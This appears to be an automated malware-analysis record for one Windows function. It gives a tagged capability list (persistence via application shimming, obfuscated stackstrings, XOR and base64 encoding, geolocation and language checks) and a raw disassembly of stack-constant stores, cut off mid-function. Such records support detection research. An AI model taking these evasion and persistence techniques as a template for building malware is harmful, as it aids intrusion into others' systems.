Function at 0x140003080
Capabilities:
Authenticate hmac
Check for unexpected memory writes
Check mutex on windows
Contain obfuscated stackstrings
Copy file
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get disk information
Get file size
Get geographical location
Get session user name
Get thread local storage value
Hash data using fnv
Identify system language via api
Parse pe header
Persist via application shimming
Query environment variable
Set environment variable
Suspend thread

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x320a8
call fcn.1401f2820
sub rsp, rax
mov rax, qword [0x14027de80]
xor rax, rsp
mov qword [rsp + 0x32090], rax
mov byte [rsp + 0x50], 0x5d
mov dword [rsp + 0x67cc], 0x28c9
mov eax, 0x1d8
mov word [rsp + 0xf34], ax
mov dword [rsp + 0x67d0], 0x209d
movabs rax, 0x7067f0481a4cb5
mov qword [rsp + 0xcd28], rax
movabs rax, 0x77625e1b265055
mov qword [rsp + 0xcd30], rax
mov dword [rsp + 0x67d4], 0x5873
mov byte [rsp + 0x51], 0x40
movabs rax, 0x7dec3927e9ba41
mov qword [rsp + 0xcd38], rax
mov byte [rsp + 0x52], 0xe5
mov eax, 0x981
mov word [rsp + 0xf38], ax
mov eax, 0x29f
mov word [rsp + 0xf3c], ax
mov dword [rsp + 0x67d8], 0x7f0a
movabs rax, 0x742ef5b7a9a560
mov qword [rsp + 0xcd40], rax
movabs rax, 0x79d89fe342e755
mov qword [rsp + 0xcd48], rax
mov byte [rsp + 0x53], 0xa2
movabs rax, 0x7d27a0afde2263
mov qword [rsp + 0xcd50], rax
mov eax, 0x94
mov word [rsp + 0xf40], ax
mov dword [rsp + 0x67dc], 0x4cff
movabs rax, 0x7dbd7b13caad3f
mov qword [rsp + 0xcd58], rax
mov byte [rsp + 0x54], reloc.COMCTL32.dll_MakeDragList
mov dword [rsp + 0x67e0], 0x3895
mov byte [rsp + 0x55], 8
mov eax, 0x153
mov word [rsp + 0xf44], ax
movabs rax, 0x705acf3f20e753
mov qword [rsp + 0xcd60], rax
movabs rax, 0x770d9b33e9cbd5
mov qword [rsp + 0xcd68], rax
mov dword [rsp + 0x67e4], 0x4aed
mov byte [rsp + 0x56], 0x30
mov eax, 0x5c
mov word [rsp + 0xf48], ax
mov byte [rsp + 0x57], 0x8a
movabs rax, 0x771d1cc61ef154
mov qword [rsp + 0xcd70], rax
mov byte [rsp + 0x58], 0x49
movabs rax, 0x7c68f288b84217
mov qword [rsp + 0xcd78], rax
mov eax, 0x161
mov word [rsp + 0xf4c], ax
mov dword [rsp + 0x67e8], 0xa6db
mov byte [rsp + 0x59], 0x33
mov eax, 0x21c
mov word [rsp + 0xf50], ax
mov byte [rsp + 0x5a], 0xfc
movabs rax, 0x7049d154144906
mov qword [rsp + 0xcd80], rax
mov eax, 0x4bf
mov word [rsp + 0xf54], ax
mov byte [rsp + 0x5b], 0x28
mov eax, 0x3d0
mov word [rsp + 0xf58], ax
mov eax, 0x4a0
mov word [rsp + 0xf5c], ax
movabs rax, 0x7da839f5566e61
mov qword [rsp + 0xcd88], rax
mov byte [rsp + 0x5c], 0xd0
mov byte [rsp + 0x5d], 0x44
movabs rax, 0x73acdd86975b93
mov qword [rsp + 0xcd90], rax
movabs rax, 0x76d0381e9e5bb4
mov qword [rsp + 0xcd98], rax
mov eax, 0x3e8
mov word [rsp + 0xf60], ax
mov dword [rsp + 0x67ec], 0xd584
mov byte [rsp + 0x5e], 0xc7
mov eax, 0xbe7
mov word [rsp + 0xf64], ax
mov eax, 0x1e2
mov word [rsp + 0xf68], ax
movabs rax, 0x783c0137787440
mov qword [rsp + 0xcda0], rax
movabs rax, 0x78bc8a4015c3e1
mov qword [rsp + 0xcda8], rax
mov eax, 0x3f0
mov word [rsp + 0xf6c], ax
movabs rax, 0x74a72b520e04c0
mov qword [rsp + 0xcdb0], rax
mov eax, 0x5e0
mov word [rsp + 0xf70], ax
mov byte [rsp + 0x5f], 0x39
mov dword [rsp + 0x67f0], 0xeaa3
movabs rax, 0x776e027041e071
mov qword [rsp + 0xcdb8], rax
mov eax, 5
mov word [rsp + 0xf74], ax
mov dword [rsp + 0x67f4], 0x31c2
mov eax, 0xaef
mov word [rsp + 0xf78], ax
movabs rax, 0x7244a8cf0658a0
mov qword [rsp + 0xcdc0], rax
movabs rax, 0x7a495f1f1c4188
mov qword [rsp + 0xcdc8], rax
mov byte [rsp + 0x60], 0x55
mov byte [rsp + 0x61], 0x33
mov byte [rsp + 0x62], 0x7a
mov dword [rsp + 0x67f8], 0x82ff
mov byte [rsp + 0x63], 0x14
movabs rax, 0x71e820827b452b
mov qword [rsp + 0xcdd0], rax
mov byte [rsp + 0x64], 3
movabs rax, 0x7ad3a2789d4e6d
mov qword [rsp + 0xcdd8], rax
movabs rax, 0x73404b9cee2777
mov qword [rsp + 0xcde0], rax
mov dword [rsp + 0x67fc], 0x8167
mov dword [rsp + 0x6800], 0x2130
movabs rax, 0x773a95003eec9d
mov qword [rsp + 0xcde8], rax
mov byte [rsp + 0x65], 0xec
mov dword [rsp + 0x6804], 0x4b14
mov dword [rsp + 0x6808], 0x1b01
movabs rax, 0x7ca557632d5012
mov qword [rsp + 0xcdf0], rax
mov eax, 0x481
mov word [rsp + 0xf7c], ax
mov eax, 0xe10
mov word [rsp + 0xf80], ax
movabs rax, 0x7d4a68c79c16a7
mov qword [rsp + 0xcdf8], rax
mov eax, 0x2ec
mov word [rsp + 0xf84], ax
mov dword [rsp + 0x680c], 0x4758
movabs rax, 0x7cbbe259900bde
mov qword [rsp + 0xce00], rax
mov dword [rsp + 0x6810], 0x8762
movabs rax, 0x7215c743d7559c
mov qword [rsp + 0xce08], rax
mov eax, 0x2ea
mov word [rsp + 0xf88], ax
mov byte [rsp + 0x66], 0x74
movabs rax, 0x726fcef1130030
mov qword [rsp + 0xce10], rax
mov eax, 0x456
mov word [rsp + 0xf8c], ax
mov dword [rsp + 0x6814], 0x106c
mov dword [rsp + 0x6818], 0x4964
mov eax, 0x460
mov word [rsp + 0xf90], ax
mov eax, 0xff7
mov word [rsp + 0xf94], ax
mov dword [rsp + 0x681c], 0xa398
mov eax, 0x25c
mov word [rsp + 0xf98], ax
movabs rax, 0x7707d1e119ab18
mov qword [rsp + 0xce18], rax
mov eax, 0x816
mov word [rsp + 0xf9c], ax
mov dword [rsp + 0x6820], 0x6c54
mov eax, 0x607
mov word [rsp + 0xfa0], ax
movabs rax, 0x70fa6996b537be
mov qword [rsp + 0xce20], rax
movabs rax, 0x700b0d216f2f88
mov qword [rsp + 0xce28], rax
movabs rax, 0x7baf2bfd96c9c1
mov qword [rsp + 0xce30], rax
mov dword [rsp + 0x6824], 0x3c51
mov byte [rsp + 0x67], 0x8d
movabs rax, 0x7c629a8e86fe1c
mov qword [rsp + 0xce38], rax
movabs rax, 0x730e5013b9ac52
mov qword [rsp + 0xce40], rax
movabs rax, 0x795a010315eb6f
mov qword [rsp + 0xce48], rax
movabs rax, 0x714780ae68352f
mov qword [rsp + 0xce50], rax
movabs rax, 0x7ba10f7a864d22
mov qword [rsp + 0xce58], rax
mov eax, 0x7ff
mov word [rsp + 0xfa4], ax
mov eax, 0xfa3
mov word [rsp + 0xfa8], ax
movabs rax, 0x7e0835d1b5b1f5
mov qword [rsp + 0xce60], rax
movabs rax, 0x7b942de6f150b7
mov qword [rsp + 0xce68], rax
movabs rax, 0x7cafbd7f6fb6bc
mov qword [rsp + 0xce70], rax
movabs rax, 0x735ff7a4b3b663
mov qword [rsp + 0xce78], rax
movabs rax, 0x73b261195eb329
mov qword [rsp + 0xce80], rax
mov dword [rsp + 0x6828], 0x3607
movabs rax, 0x7922d37ae29dda
mov qword [rsp + 0xce88], rax
movabs rax, 0x7b2bef3e346d1d
mov qword [rsp + 0xce90], rax
mov dword [rsp + 0x682c], 0x619d
mov eax, 0x153
mov word [rsp + 0xfac], ax
movabs rax, 0x7a03b057250944
mov qword [rsp + 0xce98], rax
mov dword [rsp + 0x6830], 0x6c48
mov byte [rsp + 0x68], 0xa
movabs rax, 0x70e47e03f619bd
mov qword [rsp + 0xcea0], rax
mov byte [rsp + 0x69], 0xaf
mov dword [rsp + 0x6834], 0x2a5b
movabs rax, 0x754cf831f8669e
mov qword [rsp + 0xcea8], rax
mov eax, 0xc7d
mov word [rsp + 0xfb0], ax
movabs rax, 0x74f2d73d9cc8ac
mov qword [rsp + 0xceb0], rax
mov eax, 0x543
mov word [rsp + 0xfb4], ax
mov eax, 0xde
mov word [rsp + 0xfb8], ax
mov dword [rsp + 0x6838], 0x748
mov dword [rsp + 0x683c], 0x5c21
mov eax, 0x53c
mov word [rsp + 0xfbc], ax
mov eax, 0xd8d
mov word [rsp + 0xfc0], ax
mov eax, 0xa94
mov word [rsp + 0xfc4], ax
mov byte [rsp + 0x6a], 0x12
movabs rax, 0x7b869c414ae59e
mov qword [rsp + 0xceb8], rax
mov eax, 0xc32
mov word [rsp + 0xfc8], ax
mov dword [rsp + 0x6840], 0x2c75
mov byte [rsp + 0x6b], 0x3f
mov byte [rsp + 0x6c], 0x8b
mov dword [rsp + 0x6844], 0x658c
movabs rax, 0x7264482594300b
mov qword [rsp + 0xcec0], rax
movabs rax, 0x773216b7df2664
mov qword [rsp + 0xcec8], rax
mov eax, 0xcad
mov word [rsp + 0xfcc], ax
mov dword [rsp + 0x6848], 0x492f
mov dword [rsp + 0x684c], 0x7a70
mov dword [rsp + 0x6850], 0x6833
mov eax, 0x5e5
mov word [rsp + 0xfd0], ax
mov eax, 0x233
mov word [rsp + 0xfd4], ax
mov dword [rsp + 0x6854], 0xf8bc
mov eax, 0x187
mov word [rsp + 0xfd8], ax
mov byte [rsp + 0x6d], 0x5e
mov dword [rsp + 0x6858], 0x5dd4
mov dword [rsp + 0x685c], 0x2204
movabs rax, 0x710aa9b0833327
mov qword [rsp + 0xced0], rax
mov eax, 0x469
mov word [rsp + 0xfdc], ax
mov byte [rsp + 0x6e], 0x3c
mov dword [rsp + 0x6860], 0xc61a
movabs rax, 0x705945400303b0
mov qword [rsp + 0xced8], rax
mov eax, 0x448
mov word [rsp + 0xfe0], ax
mov eax, 0x249
mov word [rsp + 0xfe4], ax
movabs rax, 0x7198a31aec2e51
mov qword [rsp + 0xcee0], rax
mov dword [rsp + 0x6864], 0x36a9
mov eax, 0x42f
mov word [rsp + 0xfe8], ax
mov eax, 0x9cd
mov word [rsp + 0xfec], ax
mov eax, 0x66a
mov word [rsp + 0xff0], ax
mov byte [rsp + 0x6f], 0x4a
mov byte [rsp + 0x70], 0x6e
mov byte [rsp + 0x71], 0x1e
movabs rax, 0x792c440670b0be
mov qword [rsp + 0xcee8], rax
mov dword [rsp + 0x6868], 0xabdc
mov eax, 0x3da
mov word [rsp + 0xff4], ax
mov eax, 0x2c
mov word [rsp + 0xff8], ax
mov byte [rsp + 0x72], 0x4c
mov dword [rsp + 0x686c], 0x47d2
movabs rax, 0x7ed85edab6e341
mov qword [rsp + 0xcef0], rax
mov eax, 0xc8c
mov word [rsp + 0xffc], ax
mov dword [rsp + 0x6870], 0x69c8
movabs rax, 0x79aa0142ebeb12
mov qword [rsp + 0xcef8], rax
mov byte [rsp + 0x73], 0x76
movabs rax, 0x75f6d2904a160d
mov qword [rsp + 0xcf00], rax
mov byte [rsp + 0x74], 0x8b
mov eax, SetWindowSubclass
mov word [rsp + 0x1000], ax
mov dword [rsp + 0x6874], 0xd77e
mov eax, 0x9f8
mov word [rsp + 0x1004], ax
movabs rax, 0x77f645c749487e
mov qword [rsp + 0xcf08], rax
mov dword [rsp + 0x6878], 0x7d19
mov eax, 0x7e9
mov word [rsp + 0x1008], ax
mov dword [rsp + 0x687c], 0x7429
mov eax, 0xed9
mov word [rsp + 0x100c], ax
movabs rax, 0x7e55860d2ba56e
mov qword [rsp + 0xcf10], rax
mov eax, 0x3a3
mov word [rsp + 0x1010], ax
mov byte [rsp + 0x75], 0x22
movabs rax, 0x7337f91434288a
mov qword [rsp + 0xcf18], rax
mov eax, 0x641
mov word [rsp + 0x1014], ax
movabs rax, 0x721c6da46c5efb
mov qword [rsp + 0xcf20], rax
movabs rax, 0x74dd6cbfba1c19
mov qword [rsp + 0xcf28], rax
mov eax, 0x3d3
mov word [rsp + 0x1018], ax
mov eax, 0xbd
mov word [rsp + 0x101c], ax
mov dword [rsp + 0x6880], 0x38c2
mov eax, 0x60d
mov word [rsp + 0x1020], ax
movabs rax, 0x7c1d0b480fe594
mov qword [rsp + 0xcf30], rax
mov dword [rsp + 0x6884], 0x47e9
mov byte [rsp + 0x76], 0x66
movabs rax, 0x743b8fb3738708
mov qword [rsp + 0xcf38], rax
mov dword [rsp + 0x6888], 0x3708
mov eax, 0xbbf
mov word [rsp + 0x1024], ax
movabs rax, 0x7a8b6972ee213e
mov qword [rsp + 0xcf40], rax
mov byte [rsp + 0x77], 0x2e
mov dword [rsp + 0x688c], 0x38b3
movabs rax, 0x7299e693e01149
mov qword [rsp + 0xcf48], rax
movabs rax, 0x78ba87322c4866
mov qword [rsp + 0xcf50], rax
mov dword [rsp + 0x6890], 0x7a0c
mov dword [rsp + 0x6894], 0x5902
movabs rax, 0x71b28f4937d220
mov qword [rsp + 0xcf58], rax
mov eax, 0x1cf
mov word [rsp + 0x1028], ax
mov eax, 0x135
mov word [rsp + 0x102c], ax
movabs rax, 0x73863c394f97c7
mov qword [rsp + 0xcf60], rax
mov eax, 0xd2d
mov word [rsp + 0x1030], ax
mov byte [rsp + 0x78], 0x37
mov eax, 0x1be
mov word [rsp + 0x1034], ax
mov eax, 0x76
mov word [rsp + 0x1038], ax
mov dword [rsp + 0x6898], 0x6b42
mov eax, 0xca1
mov word [rsp + 0x103c], ax
movabs rax, 0x7be5af41f39fb8
mov qword [rsp + 0xcf68], rax
mov eax, 0x5d8
mov word [rsp + 0x1040], ax
mov byte [rsp + 0x79], 0x46
movabs rax, 0x7dc5eb09f063ee
mov qword [rsp + 0xcf70], rax
movabs rax, 0x76041f99a7402f
mov qword [rsp + 0xcf78], rax
movabs rax, 0x73adf81d951830
mov qword [rsp + 0xcf80], rax
movabs rax, 0x7e7379b81232c6
mov qword [rsp + 0xcf88], rax
mov byte [rsp + 0x7a], 0x56
movabs rax, 0x77521449d52067
mov qword [rsp + 0xcf90], rax
mov eax, 0xf89
mov word [rsp + 0x1044], ax
mov byte [rsp + 0x7b], 0x6b
mov byte [rsp + 0x7c], 0x37
mov dword [rsp + 0x689c], 0x60d7
mov dword [rsp + 0x68a0], 0x7da1
mov byte [rsp + 0x7d], 0x68
mov dword [rsp + 0x68a4], 0xe9f
mov eax, 0x19
mov word [rsp + 0x1048], ax
mov eax, 0x168
mov word [rsp + 0x104c], ax
mov byte [rsp + 0x7e], 0xad
mov eax, 0x12d
mov word [rsp + 0x1050], ax
movabs rax, 0x7c03a619e7b864
mov qword [rsp + 0xcf98], rax
movabs rax, 0x785a9436f289d8
mov qword [rsp + 0xcfa0], rax
mov eax, 0x174
mov word [rsp + 0x1054], ax
mov byte [rsp + 0x7f], 0x24
mov byte [rsp + 0x80], 0x2b
mov dword [rsp + 0x68a8], 0x59df
mov eax, 0x339
mov word [rsp + 0x1058], ax
mov dword [rsp + 0x68ac], 0x1725
mov dword [rsp + 0x68b0], 0xac6c
mov dword [rsp + 0x68b4], 0xa58f
movabs rax, 0x782fc8c33847cd
mov qword [rsp + 0xcfa8], rax
mov byte [rsp + 0x81], 0x3f
mov dword [rsp + 0x68b8], 0xf1eb
mov eax, 0x2c9
mov word [rsp + 0x105c], ax
movabs rax, 0x7110efc3a6d514
mov qword [rsp + 0xcfb0], rax
movabs rax, 0x709b855118b0e3
mov qword [rsp + 0xcfb8], rax
movabs rax, 0x78d1bbc5d395c8
mov qword [rsp + 0xcfc0], rax
mov dword [rsp + 0x68bc], 0xc7e6
mov eax, 0x74e
mov word [rsp + 0x1060], ax
movabs rax, 0x700feb60349cb9
mov qword [rsp + 0xcfc8], rax
mov dword [rsp + 0x68c0], 0xc8d3
mov byte [rsp + 0x82], 0x1e
mov byte [rsp + 0x83], 0x61
mov eax, 0x5ce
mov word [rsp + 0x1064], ax
mov eax, 0x72e
mov word [rsp + 0x1068], ax
mov eax, 0xe3f
mov word [rsp + 0x106c], ax
mov byte [rsp + 0x84], 0x74
mov dword [rsp + 0x68c4], 0x701c
movabs rax, 0x76907be132093d
mov qword [rsp + 0xcfd0], rax
mov eax, 0x22f
mov word [rsp + 0x1070], ax
mov dword [rsp + 0x68c8], 0x499c
mov eax, 0x5ac
mov word [rsp + 0x1074], ax
mov dword [rsp + 0x68cc], 0x29f2
movabs rax, 0x77b97ebc77e416
mov qword [rsp + 0xcfd8], rax
mov eax, 0x284
mov word [rsp + 0x1078], ax
mov byte [rsp + 0x85], 0xd0
movabs rax, 0x7aefa0bb4ffe38
mov qword [rsp + 0xcfe0], rax
mov eax, 0xb5f
mov word [rsp + 0x107c], ax
mov byte [rsp + 0x86], 0x2b
mov eax, 0x548
mov word [rsp + 0x1080], ax
movabs rax, 0x72e958fd8df5a8
mov qword [rsp + 0xcfe8], rax
movabs rax, 0x733a9057f5dc5f
mov qword [rsp + 0xcff0], rax
movabs rax, 0x7e3472224fa418
mov qword [rsp + 0xcff8], rax
mov dword [rsp + 0x68d0], 0x59c8
mov byte [rsp + 0x87], 0x44
mov dword [rsp + 0x68d4], 0x4984
mov eax, 0x79b
mov word [rsp + 0x1084], ax
mov byte [rsp + 0x88], 0x2e
mov eax, 0x511
mov word [rsp + 0x1088], ax
movabs rax, 0x7041cb486e047f
mov qword [rsp + 0xd000], rax
mov dword [rsp + 0x68d8], 0xbd24
mov dword [rsp + 0x68dc], 0xda64
movabs rax, 0x709644d7d5e9e5
mov qword [rsp + 0xd008], rax
mov dword [rsp + 0x68e0], 0x350e
mov eax, 0xf0a
mov word [rsp + 0x108c], ax
mov eax, 0x665
mov word [rsp + 0x1090], ax
movabs rax, 0x7b44d7717901f4
mov qword [rsp + 0xd010], rax
mov byte [rsp + 0x89], 0xc7
mov eax, 0x5d4
mov word [rsp + 0x1094], ax
mov dword [rsp + 0x68e4], 0x6f3b
mov byte [rsp + 0x8a], 0x6f
mov dword [rsp + 0x68e8], 0x4838
movabs rax, 0x74e48e5cfe8d16
mov qword [rsp + 0xd018], rax
mov dword [rsp + 0x68ec], 0x81a9
mov eax, 0x1f2
mov word [rsp + 0x1098], ax
mov eax, 0x3d
mov word [rsp + 0x109c], ax
mov eax, 4
mov word [rsp + 0x10a0], ax
mov byte [rsp + 0x8b], 0x21
mov dword [rsp + 0x68f0], 0x3044
movabs rax, 0x7c7f26c4ec765a
mov qword [rsp + 0xd020], rax
movabs rax, 0x75845c36f9a9a2
mov qword [rsp + 0xd028], rax
mov eax, 0x1e4
mov word [rsp + 0x10a4], ax
mov eax, 0xf0c
mov word [rsp + 0x10a8], ax
mov dword [rsp + 0x68f4], 0x541d
mov dword [rsp + 0x68f8], 0x1f1d
mov eax, 0xea2
mov word [rsp + 0x10ac], ax
mov dword [rsp + 0x68fc], 0xb44d
mov eax, 0x36
mov word [rsp + 0x10b0], ax
mov dword [rsp + 0x6900], 0x18d5
mov dword [rsp + 0x6904], 0x1e23
mov eax, 0x2e0
mov word [rsp + 0x10b4], ax
mov byte [rsp + 0x8c], 0x1f
movabs rax, 0x7a980aab53e8fd
mov qword [rsp + 0xd030], rax
mov byte [rsp + 0x8d], 0x44
mov dword [rsp + 0x6908], 0xe7d5
mov eax, 0x31f
mov word [rsp + 0x10b8], ax
movabs rax, 0x74c3698f8ebcfd
mov qword [rsp + 0xd038], rax
movabs rax, 0x771a7948b18c76
mov qword [rsp + 0xd040], rax
mov dword [rsp + 0x690c], 0x8666
mov eax, 0x18e
mov word [rsp + 0x10bc], ax
mov byte [rsp + 0x8e], 0xe3
movabs rax, 0x7bd1062cdabba3
mov qword [rsp + 0xd048], rax
mov dword [rsp + 0x6910], 0xa627
mov byte [rsp + 0x8f], 0xfe
mov byte [rsp + 0x90], 1
mov byte [rsp + 0x91], 0x48
movabs rax, 0x77d20c63a3c66c
mov qword [rsp + 0xd050], rax
mov byte [rsp + 0x92], 0x7b
mov byte [rsp + 0x93], 0x35
mov byte [rsp + 0x94], 0xee
mov eax, 0x612
mov word [rsp + 0x10c0], ax
movabs rax, 0x7c124671217865
mov qword [rsp + 0xd058], rax
mov eax, 0x437
mov word [rsp + 0x10c4], ax
mov byte [rsp + 0x95], 0x11
mov eax, 0x753
mov word [rsp + 0x10c8], ax
mov byte [rsp + 0x96], 0x5b
movabs rax, 0x7dfd27752a1c71
mov qword [rsp + 0xd060], rax
movabs rax, 0x780c54e589c02c
mov qword [rsp + 0xd068], rax
mov dword [rsp + 0x6914], 0x5e08
mov dword [rsp + 0x6918], 0x4b09
mov eax, 0x10c
mov word [rsp + 0x10cc], ax
mov eax, 0x6a4
mov word [rsp + 0x10d0], ax
movabs rax, 0x7c875b01f6fa4f
mov qword [rsp + 0xd070], rax
mov byte [rsp + 0x97], 9
mov dword [rsp + 0x691c], 0x90
mov dword [rsp + 0x6920], 0x1844
mov byte [rsp + 0x98], 0xdc
mov eax, 0x8c7
mov word [rsp + 0x10d4], ax
mov eax, 0x1f7
mov word [rsp + 0x10d8], ax
mov byte [rsp + 0x99], 8
mov dword [rsp + 0x6924], 0x2b85
mov eax, 0x687
mov word [rsp + 0x10dc], ax
mov dword [rsp + 0x6928], 0x38c3
mov byte [rsp + 0x9a], 0x76
mov dword [rsp + 0x692c], 0xefa3
movabs rax, 0x7948460c75cf50
mov qword [rsp + 0xd078], rax
movabs rax, 0x7a94e79968118e
mov qword [rsp + 0xd080], rax
mov byte [rsp + 0x9b], 0x28
mov dword [rsp + 0x6930], 0x42bf
movabs rax, 0x780e266182dd95
mov qword [rsp + 0xd088], rax
mov byte [rsp + 0x9c], 0x64
movabs rax, 0x7102558fd51629
mov qword [rsp + 0xd090], rax
mov eax, 0xd64
mov word [rsp + 0x10e0], ax
mov dword [rsp + 0x6934], 0x34a4
movabs rax, 0x7136d0a9b9a1b0
mov qword [rsp + 0xd098], rax
mov dword [rsp + 0x6938], 0x9b5e
mov dword [rsp + 0x693c], 0x1556
mov eax, 0x662
mov word [rsp + 0x10e4], ax
mov dword [rsp + 0x6940], 0xf5e0
movabs rax, 0x7c849b0b7438f9
mov qword [rsp + 0xd0a0], rax
mov eax, 0x72e
mov word [rsp + 0x10e8], ax
mov eax, 0x6b4
mov word [rsp + 0x10ec], ax
mov dword [rsp + 0x6944], 0x2d26
mov byte [rsp + 0x9d], 0x8e
mov eax, 0xeec
mov word [rsp + 0x10f0], ax
mov dword [rsp + 0x6948], 0x307f
mov byte [rsp + 0x9e], 0x7b
mov byte [rsp + 0x9f], 0x5e
mov eax, 0xc12
mov word [rsp + 0x10f4], ax
movabs rax, 0x763c21e769a195
mov qword [rsp + 0xd0a8], rax
mov eax, 0x3ad
mov word [rsp + 0x10f8], ax
mov byte [rsp + 0xa0], 0x68
mov byte [rsp + 0xa1], 0x59
mov eax, 0x4cd
mov word [rsp + 0x10fc], ax
mov dword [rsp + 0x694c], 0x4541
movabs rax, 0x7056dc02949f13
mov qword [rsp + 0xd0b0], rax
mov byte [rsp + 0xa2], 0x7e
mov dword [rsp + 0x6950], 0xfebd
mov eax, 0x4b0
mov word [rsp + 0x1100], ax
mov byte [rsp + 0xa3], 0x44
mov byte [rsp + 0xa4], 0x25
movabs rax, 0x7cbe71b5e96783
mov qword [rsp + 0xd0b8], rax
movabs rax, 0x7b30d0de8698ac
mov qword [rsp + 0xd0c0], rax
movabs rax, 0x7173f11a051b50
mov qword [rsp + 0xd0c8], rax
mov eax, 0x4f9
mov word [rsp + 0x1104], ax
mov dword [rsp + 0x6954], 0x6086
movabs rax, 0x737011ff202eb6
mov qword [rsp + 0xd0d0], rax
mov eax, 0xea0
mov word [rsp + 0x1108], ax
mov eax, 0x632
mov word [rsp + 0x110c], ax
mov eax, 0x219
mov word [rsp + 0x1110], ax
movabs rax, 0x7b282bb88dcfa0
mov qword [rsp + 0xd0d8], rax
mov eax, 0x445
mov word [rsp + 0x1114], ax
mov byte [rsp + 0xa5], 0x36
mov dword [rsp + 0x6958], 0x7d80
mov dword [rsp + 0x695c], 0x486b
mov dword [rsp + 0x6960], 0x1d64
mov eax, 0x7e3
mov word [rsp + 0x1118], ax
mov dword [rsp + 0x6964], 0x5daa
movabs rax, 0x7751601ac9b686
mov qword [rsp + 0xd0e0], rax
mov byte [rsp + 0xa6], 0x56
mov dword [rsp + 0x6968], 0x1613
mov dword [rsp + 0x696c], 0xe632
mov byte [rsp + 0xa7], 0x2a
mov eax, 0x180
mov word [rsp + 0x111c], ax
mov eax, 0x312
mov word [rsp + 0x1120], ax
mov dword [rsp + 0x6970], 0x8526
movabs rax, 0x78365f8f01c5af
mov qword [rsp + 0xd0e8], rax
mov byte [rsp + 0xa8], 0xc9
mov dword [rsp + 0x6974], 0xf0ef
mov dword [rsp + 0x6978], 0x1eb5
movabs rax, 0x709325b0313901
mov qword [rsp + 0xd0f0], rax
movabs rax, 0x7d6ad915fb045b
mov qword [rsp + 0xd0f8], rax
movabs rax, 0x75f346c79f1cb8
mov qword [rsp + 0xd100], rax
mov eax, 0xd20
mov word [rsp + 0x1124], ax
mov byte [rsp + 0xa9], 0x16
movabs rax, 0x77e4ad9706431c
mov qword [rsp + 0xd108], rax
mov eax, 0x62e
mov word [rsp + 0x1128], ax
mov eax, 0x3f6
mov word [rsp + 0x112c], ax
mov dword [rsp + 0x697c], 0x192
mov dword [rsp + 0x6980], 0xa48d
mov byte [rsp + 0xaa], 0x87
mov dword [rsp + 0x6984], 0x7c31
mov dword [rsp + 0x6988], 0x54db
mov byte [rsp + 0xab], 6
mov byte [rsp + 0xac], 0x4f
movabs rax, 0x7d2b63110ccf50
mov qword [rsp + 0xd110], rax
mov byte [rsp + 0xad], 0x49
movabs rax, 0x79d45df8d8af77
mov qword [rsp + 0xd118], rax
mov dword [rsp + 0x698c], 0xeea7
mov dword [rsp + 0x6990], 0x7f90
movabs rax, 0x71bc9297aba5db
mov qword [rsp + 0xd120], rax
mov dword [rsp + 0x6994], 0x4ea4
mov dword [rsp + 0x6998], 0x1b79
mov eax, 0x24d
mov word [rsp + 0x1130], ax
movabs rax, 0x70a8607257251c
mov qword [rsp + 0xd128], rax
movabs rax, 0x72d8b53194ffa5
mov qword [rsp + 0xd130], rax
mov byte [rsp + 0xae], 0x71
mov dword [rsp + 0x699c], 0xd49c
mov dword [rsp + 0x69a0], 0x6d68
mov eax, 0x404
mov word [rsp + 0x1134], ax
movabs rax, 0x719edde636e1c6
mov qword [rsp + 0xd138], rax
movabs rax, 0x7574a344173fe1
mov qword [rsp + 0xd140], rax
mov dword [rsp + 0x69a4], 0x249b
mov eax, 0x4e4
mov word [rsp + 0x1138], ax
mov byte [rsp + 0xaf], 0x5e
mov dword [rsp + 0x69a8], 0x32c1
movabs rax, 0x7597798f206b20
mov qword [rsp + 0xd148], rax
movabs rax, 0x758bccf7e6acd8
mov qword [rsp + 0xd150], rax
movabs rax, 0x7d360bfcd50b1c
mov qword [rsp + 0xd158], rax
mov eax, 0x25b
mov word [rsp + 0x113c], ax
mov byte [rsp + 0xb0], 0x77
movabs rax, 0x7b120c59897361
mov qword [rsp + 0xd160], rax
mov dword [rsp + 0x69ac], 0xbdf6
movabs rax, 0x73a8b750dad2f5
mov qword [rsp + 0xd168], rax
movabs rax, 0x7c3ffe722ea1e5
mov qword [rsp + 0xd170], rax
mov byte [rsp + 0xb1], 0xe7
mov eax, 0x376
mov word [rsp + 0x1140], ax
movabs rax, 0x7c31497a981011
mov qword [rsp + 0xd178], rax
movabs rax, 0x7961c5fab49f02
mov qword [rsp + 0xd180], rax
mov eax, 0x333
mov word [rsp + 0x1144], ax
mov eax, 0x43a
mov word [rsp + 0x1148], ax
mov dword [rsp + 0x69b0], 0x4fb9
mov eax, 0x42b
mov word [rsp + 0x114c], ax
movabs rax, 0x79bb52ad5ae4c0
mov qword [rsp + 0xd188], rax
mov byte [rsp + 0xb2], 0x68
movabs rax, 0x7c28d5ab025656
mov qword [rsp + 0xd190], rax
movabs rax, 0x7ea9180b9e366f
mov qword [rsp + 0xd198], rax
movabs rax, 0x73ea7f117f62a1
mov qword [rsp + 0xd1a0], rax
movabs rax, 0x7d58b6870cc808
mov qword [rsp + 0xd1a8], rax
mov byte [rsp + 0xb3], 0x6b
movabs rax, 0x7dcff95f12836f
mov qword [rsp + 0xd1b0], rax
movabs rax, 0x7704e0215f15d8
mov qword [rsp + 0xd1b8], rax
mov byte [rsp + 0xb4], 0x3c
movabs rax, 0x797a178b8b4d89
mov qword [rsp + 0xd1c0], rax
mov dword [rsp + 0x69b4], 0xc421
mov eax, 0x5f7
mov word [rsp + 0x1150], ax
mov dword [rsp + 0x69b8], 0x3ec0
mov byte [rsp + 0xb5], 0x59
mov dword [rsp + 0x69bc], 0x3725
mov eax, 0xcaa
mov word [rsp + 0x1154], ax
mov eax, 0x589
mov word [rsp + 0x1158], ax
mov dword [rsp + 0x69c0], 0x6345
mov eax, 0xae
mov word [rsp + 0x115c], ax
mov byte [rsp + 0xb6], 0x8d
mov dword [rsp + 0x69c4], 0x7582
movabs rax, 0x7068b6ff1adf88
mov qword [rsp + 0xd1c8], rax
movabs rax, 0x7a30438e41a406
mov qword [rsp + 0xd1d0], rax
mov dword [rsp + 0x69c8], 0x2946
movabs rax, 0x753d53d2e682a2
mov qword [rsp + 0xd1d8], rax
movabs rax, 0x7d040b1d8ab83f
mov qword [rsp + 0xd1e0], rax
mov dword [rsp + 0x69cc], 0x750b
mov byte [rsp + 0xb7], 0x6d
mov byte [rsp + 0xb8], 0x55
mov dword [rsp + 0x69d0], 0x6c82
